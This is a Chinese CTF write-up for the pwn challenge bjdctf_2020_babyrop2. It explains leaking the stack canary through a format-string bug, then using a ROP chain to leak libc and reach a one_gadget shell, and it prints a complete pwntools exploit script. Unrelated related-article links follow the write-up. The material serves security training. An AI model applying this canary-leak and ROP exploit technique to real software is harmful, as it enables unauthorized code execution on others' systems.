这道题是一道基本题,正因为它经典,所以需要重点记录一下。

  这道题考察格式化字符串泄露canary,然后rop获得libc版本,之后拿到shell。拿到程序之后我们先检查一下保护。。。

  开启了堆栈不可执行和canary保护。接下来ida看一下伪代码吧!

  main函数中调用了三个函数,我们一个一个点进去看看,先看一下init()。

  有点水文章了。。。第一和函数就是告诉我们说让门尽力泄露libc的版本。。。来,我们继续看第二个函数!

  很明显有一个格式化字符串漏洞,并且format是由我们控制的,这里呢,我们先算一下这个格式化字符串的偏移吧。你看scanf那里,允许我们输入6个字节。。。那么我们就开始撞运气泄露偏移吧。。。

  当我们输入泄露偏移为6处的地址时,找到6161也就是aa,那么说明格式化字符串的偏移就是6,这里我们就要泄露canary,canary是在rbp+8,那么我们只要算好偏移泄露就可以了。

  这里的时候我们是输入了%6$p,看栈分布,说明我们只要输入%7$p,就把canary泄露出来了。我们直接运行程序看看。

  输出的这个就是canary,%p就是以十六进制输出数据。

  好,接下来我们看最后一个函数。

  

  就是简单的栈溢出,构造rop链了。

  接下来来看看payload怎么构造。

1 payload = p64(cancry)
2 payload = payload.rjust(0x20,'a')
3 payload += 'bbbbbbbb'
4 payload += p64(pop_rdi)
5 payload += p64(puts_got)
6 payload += p64(puts_plt)
7 payload += p64(ret_addr)

  

  把rbp+8的位置放上canary,下来就是简单泄露libc版本,调用shell了。

贴一下完整的exp:

 1 from pwn import *
2 import time
3
4 p = process('./bjdctf_2020_babyrop2')
5 elf = ELF('./bjdctf_2020_babyrop2')
6 context.log_level = 'debug'
7
8 p.recv()
9 payload = '%7$p'
10 p.sendline(payload)
11 p.recvuntil('0x')
12 cancry = int(p.recv(16),16)
13
14 puts_plt = 0x0400610
15 puts_got = elf.got['puts']
16 pop_rdi = 0x0400993
17 main_addr = elf.symbols['main']
18 ret_addr = 0x0400887
19
20 sleep(1)
21 payload = p64(cancry)
22 payload = payload.rjust(0x20,'a')
23 payload += 'bbbbbbbb'
24 payload += p64(pop_rdi)
25 payload += p64(puts_got)
26 payload += p64(puts_plt)
27 payload += p64(ret_addr)
28 p.recvuntil('story!\n')
29 p.sendline(payload)
30 puts_addr = u64(p.recv(6).ljust(8,'\x00'))
31 print hex(puts_addr)
32
33 base_addr = puts_addr - 0x06f690
34 shell_addr = base_addr + 0x45216
35 p.recvuntil('story!\n')
36 payload = p64(cancry)
37 payload = payload.rjust(0x20,'a')
38 payload += 'bbbbbbbb'
39 payload += p64(shell_addr)
40 p.sendline(payload)
41 p.interactive()
42 p.close()

bjdctf_2020_babyrop2的更多相关文章

  1. [BUUCTF]PWN——bjdctf_2020_babyrop2

    bjdctf_2020_babyrop2 附件 步骤: 例行检查,64位程序,开启了NX和canary保护 2. 试运行一下程序,看看大概的情况 提示我们去泄露libc 3. 64位ida载入,从ma ...

  2. bjdctf_2020_babyrop2(没有成功拿到shell)

    看到程序先例行检查一下 可以看到开启了canary和nx保护,需要注意的是这个acnary 将程序放入ida中shift+f12 没有关键性函数.我们进入main函数中 在main的gift程序里面我 ...

  3. [BUUCTF-Pwn]刷题记录1

    [BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...

随机推荐

  1. C#练习4

    //错误的程序using System; class Test { unsafe static void WriteLocations(byte[]arr) { fixed(byte*p_arr=ar ...

  2. ICCV 2021口罩人物身份鉴别全球挑战赛冠军方案分享

    1. 引言 10月11-17日,万众期待的国际计算机视觉大会 ICCV 2021 (International Conference on Computer Vision) 在线上如期举行,受到全球计 ...

  3. js防止重复提交代码

    if (checkSubmitFlg == true) { console.log("禁止频繁操作.."); layer.close(ide); return false; } c ...

  4. 部署vue项目到Linux服务器

    案例一 vue-cli构建vue3项目,将项目上传到Linux服务器,服务器安装node,并启动vue项目 首先本地有一个vue项目,启动后可正常访问 本地打包后,也可直接访问 若打包后的index. ...

  5. [JSC2021 A~D + F]

    半小时打完了\(A~D\),想要一发\(F\)冲进前\(100\),结果平衡树常数大\(T\)了.据说\(G\)是矩阵树定. \(A\) 放代码吧. A // code by Dix_ #includ ...

  6. Codeforces 1067D - Computer Game(矩阵快速幂+斜率优化)

    Codeforces 题面传送门 & 洛谷题面传送门 好题. 首先显然我们如果在某一次游戏中升级,那么在接下来的游戏中我们一定会一直打 \(b_jp_j\) 最大的游戏 \(j\),因为这样得 ...

  7. Dirichlet 前缀和的几种版本

    [模板]Dirichlet 前缀和 求 \[B[i] = \sum_{d|i} A[d] \] $ n \le 2\times 10^{7} $ 看代码: for( int i = 1 ; i < ...

  8. Codeforces 1383D - Rearrange(构造)

    Codeforces 题面传送门 & 洛谷题面传送门 一道不算困难的构造,花了一节英语课把它搞出来了,题解简单写写吧( 考虑从大往小加数,显然第三个条件可以被翻译为,每次加入一个元素,如果它所 ...

  9. [Linux] 非root安装GCC9.1.0

    说明 一般Linux系统自带或公共的GCC版本都很低,如目前我们的服务器版本的GCC还停留在gcc-4.9.3,而官网已到达9.2版本(下载http://ftp.gnu.org/gnu/gcc/) , ...

  10. nginx_install

    [root@MiWiFi-R1CM-srv ~]# yum install -y gcc-c++ zlib zlib-devel openssl openssl-devel pcre-devel pc ...